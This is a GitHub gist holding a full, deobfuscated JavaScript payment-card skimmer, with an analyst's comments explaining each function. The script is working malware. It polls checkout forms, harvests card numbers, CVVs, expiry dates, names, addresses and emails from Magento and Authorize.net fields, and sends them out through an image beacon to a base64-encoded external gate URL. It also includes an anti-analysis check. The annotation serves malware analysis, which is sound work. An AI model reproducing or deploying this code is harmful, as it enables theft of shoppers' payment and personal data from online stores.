-
-
Save krautface/5c139ee60fcfdda7c39184899750eb66 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var skimmer = { | |
// antiRE checks to see if we're in an environment that | |
// doesn't have standard browser javascript fucntions | |
// like atob, btoa, JSON.parse, etc | |
// If the functions are not found, return true | |
'antiRE': function () | |
{ | |
var functionArray = [ | |
[null, 'atob'], | |
[null, 'btoa'], | |
[null, 'setInterval'], | |
['JSON', 'stringify'], | |
[null, 'RegExp'], | |
[null, 'encodeURIComponent'], | |
['JSON', 'parse'] | |
]; | |
for (var a = 0; a < functionArray['length']; a++) | |
{ | |
if (functionArray[a][0] === null) | |
{ | |
if (typeof window[functionArray[a][1]] !== 'function') return false; | |
} | |
else | |
{ | |
if (typeof window[functionArray[a][1]][functionArray[a][1]] !== 'function') return false; | |
} | |
} | |
return true; | |
}, | |
// a basic hashing function | |
'hash': function (val) | |
{ | |
var z = 0; | |
for (var a = 0; a < val['length']; a++) | |
{ | |
z = (z << 5) - z + val['charCodeAt'](a) & 0xffffffff; | |
}; | |
return z; | |
}, | |
// setCookie creates a cookie with a set name and value and then returns the value | |
'setCookie': function (name, value) | |
{ | |
document['cookie'] = name + '=' + encodeURIComponent(value) | |
return value; | |
}, | |
// get a specified cookie | |
'getCookie': function (cookieName) | |
{ | |
var _2d072e = document['cookie']['match'](new RegExp('(?:^|; )' + cookieName['replace'](/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\$1') + '=([^;]*)')); | |
return _2d072e ? decodeURIComponent(_2d072e[1]) : undefined; | |
}, | |
// gatherFields | |
'gatherFields': function () | |
{ | |
var inputs = document['getElementsByTagName']('input'); | |
var selects = document['getElementsByTagName']('select'); | |
var textareas = document['getElementsByTagName']('textarea'); | |
skimmer['processFields'](inputs); | |
skimmer['processFields'](selects); | |
skimmer['processFields'](textareas); | |
skimmer['savePayload'](); | |
}, | |
// processFields looks through all the input fields that are passed to it | |
// to see if it matches any of the fields that the skimmer is looking for | |
'processFields': function (fields) | |
{ | |
for (var a = 0; a < fields['length']; a++) | |
{ | |
var field = fields[a]; | |
// Checks for credit card number field | |
if (skimmer['paymentFields']['n'] !== null && field['hasAttribute'](skimmer['paymentFields']['n'][0]) && field['getAttribute'](skimmer['paymentFields']['n'][0]) == skimmer['paymentFields']['n'][1]) | |
{ | |
var data = field['value']['replace'](/\s/g, ''); | |
if (data['length'] > 13) | |
{ | |
skimmer['payload']['Number'] = data; | |
continue; | |
} | |
} | |
// Checks for credit card holder full name | |
if (skimmer['paymentFields']['h'] !== null && field['hasAttribute'](skimmer['paymentFields']['h'][0]) && field['getAttribute'](skimmer['paymentFields']['h'][0]) == skimmer['paymentFields']['h'][1]) | |
{ | |
var data = field['value']; | |
if (data['length'] < 0x80 && data['length'] > 0) | |
{ | |
skimmer['payload']['Holder'] = data['trim'](); | |
continue; | |
} | |
} | |
// Checks for credit card holder first name | |
if (skimmer['paymentFields']['fn'] !== null && field['hasAttribute'](skimmer['paymentFields']['fn'][0]) && field['getAttribute'](skimmer['paymentFields']['fn'][0]) == skimmer['paymentFields']['fn'][1]) | |
{ | |
var data = field['value']; | |
if (data['length'] < 64 && data['length'] > 0) | |
{ | |
skimmer['payload']['Holder'] = data['trim'](); | |
continue; | |
} | |
} | |
// Checks for credit card holder last name | |
if (skimmer['paymentFields']['ln'] !== null && field['hasAttribute'](skimmer['paymentFields']['ln'][0]) && field['getAttribute'](skimmer['paymentFields']['ln'][0]) == skimmer['paymentFields']['ln'][1]) | |
{ | |
var data = field['value']; | |
if (data['length'] < 64 && data['length'] > 0) | |
{ | |
skimmer['payload']['Holder'] += ' ' + data['trim'](), skimmer['payload']['Holder'] = skimmer['payload']['Holder']['trim'](); | |
continue; | |
} | |
} | |
// Checks for credit card expiration date in MM/YYYY format | |
if (skimmer['paymentFields']['d'] !== null && field['hasAttribute'](skimmer['paymentFields']['d'][0]) && field['getAttribute'](skimmer['paymentFields']['d'][0]) == skimmer['paymentFields']['d'][1]) | |
{ | |
var data = field['value']['replace'](' ', ''); | |
if (/^\d{1,2}\/\d{2,4}$/ ['test'](data) && data['length'] > 0) | |
{ | |
skimmer['payload']['Date'] = data; | |
continue; | |
} | |
} | |
// Checks for credit card expiration month | |
if (skimmer['paymentFields']['m'] !== null && field['hasAttribute'](skimmer['paymentFields']['m'][0]) && field['getAttribute'](skimmer['paymentFields']['m'][0]) == skimmer['paymentFields']['m'][1]) | |
{ | |
var data = field['value']['replace'](' ', ''); | |
if (/^\d{1,2}$/ ['test'](data) && data['length'] > 0) | |
{ | |
skimmer['payload']['Date'] = data; | |
continue; | |
} | |
} | |
// Checks for credit card expiration year | |
if (skimmer['paymentFields']['y'] !== null && field['hasAttribute'](skimmer['paymentFields']['y'][0]) && field['getAttribute'](skimmer['paymentFields']['y'][0]) == skimmer['paymentFields']['y'][1]) | |
{ | |
var data = field['value']['replace'](' ', ''); | |
if (/^\d{2,4}$/ ['test'](data) && data['length'] > 0) | |
{ | |
skimmer['payload']['Date'] += '/' + data; | |
continue; | |
} | |
} | |
// Checks for credit card CVV | |
if (skimmer['paymentFields']['c'] !== null && field['hasAttribute'](skimmer['paymentFields']['c'][0]) && field['getAttribute'](skimmer['paymentFields']['c'][0]) == skimmer['paymentFields']['c'][1]) | |
{ | |
var data = field['value']['replace'](' ', ''); | |
if (/^\d{3,4}$/ ['test'](data) && data['length'] > 0) | |
{ | |
skimmer['payload']['CVV'] = data; | |
continue; | |
} | |
} | |
var addressFound = false; | |
// loop through the predefined address fields to see if this is one of them | |
for (var z = 0; z < skimmer['addressFields']['length']; z++) | |
{ | |
var addressField = skimmer['addressFields'][z]; | |
if (field['hasAttribute'](addressField[0]) && field['getAttribute'](addressField[0]) == addressField[1]) | |
{ | |
if (addressField[2] != undefined && !addressField[2] && field['value']['length'] > 0) | |
{ | |
skimmer['payload'][addressField[1]] = field['value']; | |
addressFound = true; | |
break; | |
} | |
// Looking to grab the values from a select field | |
if (addressField[2] != undefined && addressField[2] && field['tagName']['toLowerCase']() == 'select') | |
{ | |
if (field['options'][field['selectedIndex']]['innerText'] != 'Please select a region, state or province.') | |
{ | |
skimmer['payload'][addressField[1]] = field['options'][field['selectedIndex']]['innerText']; | |
addressFound = true; | |
break; | |
} | |
} | |
} | |
}; | |
if (addressFound) continue; | |
// if the field is none of the above, and if it has an id set, grab the field's vaule and add it to the payload | |
// but only if its value is less than 256 characters longd | |
if (field['id'] !== undefined && field['id'] != '' && field['id'] !== null && field['value']['length'] < 256 && field['value']['length'] > 0) | |
{ | |
skimmer['payload'][field['id']] = field['value']; | |
continue; | |
} | |
// if the field is none of the above, and if it has a name set, grab the field's vaule and add it to the payload | |
// but only if its value is less than 256 characters long | |
if (field['name'] !== undefined && field['name'] != '' && field['name'] !== null && field['value']['length'] < 256 && field['value']['length'] > 0) | |
{ | |
skimmer['payload'][field['name']] = field['value']; | |
continue; | |
} | |
}; | |
}, | |
// creates an img tag. the URL is the base exfil address + data for exfiltration | |
'createImage': function (url) | |
{ | |
var img = document['createElement']('IMG'); | |
img['src'] = url; | |
}, | |
// Check that the important fields are there, encode the payload, | |
// and verify it has not already been exfiltrated | |
// if it hasn't, exfil the data, then save the payload hash so that it's not | |
// exfiltrated again | |
'prepareAndExfil': function () | |
{ | |
// Verify that card number, holder name, card expiration date, and CVV are present | |
// If they are not, return and do nothing | |
var values = ['Number', 'Holder', 'Date', 'CVV']; | |
for (var a = 0; a < values['length']; a++) | |
{ | |
if (skimmer['payload'][values[a]] === undefined || skimmer['payload'][values[a]] === null || skimmer['payload'][values[a]] == '') return; | |
}; | |
// capture victim domain | |
skimmer['payload']['Domain'] = location['hostname']; | |
// Stringify the payload and then base64 encode it | |
var exfilPayload = window['btoa'](encodeURI(JSON['stringify'](skimmer['payload']))); | |
// The hash call generates a simple hash of the payload | |
// When the data collected is exfiltrated, that hash is added to the checkArray | |
// This prevents duplicate values being sent to the exfil endpoint | |
var checksum = skimmer['hash'](exfilPayload); | |
for (var a = 0; a < skimmer['checkArray']['length']; a++) | |
{ | |
if (skimmer['checkArray'][a] == checksum) return; | |
}; | |
// createImage adds an img tag for data exfiltration | |
// the gate is stored in base64, so atob decodes the value | |
skimmer['createImage'](atob(skimmer['gate']) + '?img=' + exfilPayload); | |
// add the checksum of the checkArray so that it won't be sent again | |
skimmer['checkArray']['push'](checksum); | |
// create a cookie containing the checkArray based64 encoded | |
skimmer['setCookie']('checkArray', window['btoa'](encodeURI(JSON['stringify'](skimmer['checkArray'])))) | |
// create a cookie that could contain the payload, but in this case it's "{}" base64 encoded | |
skimmer['setCookie']('payload', window['btoa'](encodeURI(JSON['stringify']({})))); | |
}, | |
// saves the payload to a cookie as a base64 encoded value | |
// only if psagjGDS is true | |
'savePayload': function () | |
{ | |
if (skimmer['psagjGDS']) { | |
skimmer['setCookie']('payload', window['btoa'](encodeURI(JSON['stringify'](skimmer['payload'])))); | |
} | |
}, | |
// Attempts to retrieve a saved payload from a cookie | |
'getSavedPayload': function () | |
{ | |
// try and retrieve the payload stored as a cookie | |
var cookiePayload = skimmer['getCookie']('payload'); | |
// If it's available, base64 decode it and parse it | |
if (cookiePayload !== undefined) { | |
skimmer['payload'] = JSON['parse'](decodeURI(atob(cookiePayload))); | |
} | |
}, | |
// Unknown functionality, currently no-ops | |
'xRFsa': function () {}, | |
'xCsJG': function () {}, | |
'xBHdsC': function () {}, | |
// Still a little unsure about this | |
'xCLsfJF': function () | |
{ | |
if (location['href'] != skimmer['psdfGsSLL']){ | |
skimmer['psagjGDS'] = true; | |
skimmer['psdfGsSLL'] = location['href']; | |
skimmer['getSavedPayload'](); | |
} | |
}, | |
// This function is unused in the copies of the skimmer that I've seen | |
// It would take the newNode and insert it just after referenceNode, due to the nextSibling call | |
// It's possible this is used to inject payment forms | |
'DfdsJY': function (newNode, referenceNode) | |
{ | |
referenceNode['parentNode']['insertBefore'](newNode, referenceNode['nextSibling']); | |
}, | |
// Have also not seen this function in use | |
// It appears that it takes an element 'e', checks if it's not currently hidden | |
// If it isn't, it then saves it's display style as old_display, and sets display to 'none' | |
'hideElement': function (e) | |
{ | |
if (e !== null && typeof e['style'] === 'object' && e['style']['display'] != 'none') { | |
e['style']['old_display'] = e['style']['display'], e['style']['display'] = 'none'; | |
} | |
}, | |
// This is also a call I have not seen in use | |
// It does the reverse of hideElement, setting the display value back | |
// to what it was previously. If an old_display value is not found it sets | |
// display to '' | |
'showElement': function (e) | |
{ | |
if (e !== null && typeof e['style'] === 'object' && e['style']['display'] == 'none') { | |
typeof e['style']['old_display'] !== 'undefined' ? e['style']['display'] = e['style']['old_display'] : e['style']['display'] = '' | |
} | |
}, | |
// This is also a call I have not seen in use | |
// It takes three arguments and uses them to look for elements that contain | |
// a specific attribute value, and then returns an array of those elements | |
'getElementsByTagAndAttributeValue': function (tagName, attribute, val) | |
{ | |
var gathered = []; | |
var tags = document['getElementsByTagName'](tagName); | |
for (var a = 0; a < tags['length']; a++) | |
{ | |
if (tags[a]['hasattributeibute'](attribute) && tags[a]['getattributeibute'](attribute) == val) { | |
gathered['push'](tags[a]); | |
} | |
}; | |
return gathered; | |
}, | |
'gatherAndExfil': function () | |
{ | |
skimmer['xRFsa'](); // Unknown. A no-op | |
skimmer['xCLsfJF'](); // Unknown. A no-op | |
skimmer['xCsJG'](); // Unknown. A no-op | |
skimmer['gatherFields'](); | |
skimmer['prepareAndExfil'](); | |
}, | |
// Called at the end to kick things off | |
// It calls the anti reverse engineering function and then calls 'gatherAndExfil' | |
'start': function () | |
{ | |
if (skimmer['antiRE']()) { | |
setInterval(skimmer['gatherAndExfil'], 500); | |
} | |
}, | |
// configures the skimmer for the store being attacked | |
'paymentFields': | |
{ | |
'n': ['name', 'payment[cc_number]'], | |
'h': null, | |
'fn': ['name', 'firstname'], | |
'ln': ['name', 'lastname'], | |
'd': null, | |
'm': ['name', 'payment[cc_exp_month]'], | |
'y': ['id', 'authorizenet_directpost_expiration_yr'], | |
'c': ['id', 'authorizenet_directpost_cc_cid'] | |
}, | |
'addressFields': [ | |
['name', 'street[0]', false], | |
['name', 'city', false], | |
['name', 'region_id', false], | |
['name', 'postcode', false], | |
['name', 'country_id', false], | |
['name', 'telephone', false], | |
['id', 'customer-email', false] | |
], | |
'payload': {}, | |
'checkArray': [], | |
'pDHDdS': false, | |
'psagjGDS': false, | |
'psdfGsSLL': '', | |
'pTsdfGE': '', | |
'gate': 'aHR0cHM6Ly9zY3JpcHQuZ29vZ2xlLmNvbS9tYWNyb3Mvcy9BS2Z5Y2J3UkdGTm9PcG5DRTljOFk3alFZa25CaFNUUEhOZkxhRVotSUJfSkV6ZUxMalktRm1NL2V4ZWM=' // exfil, base64 encode | |
}; | |
skimmer['start'](); | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment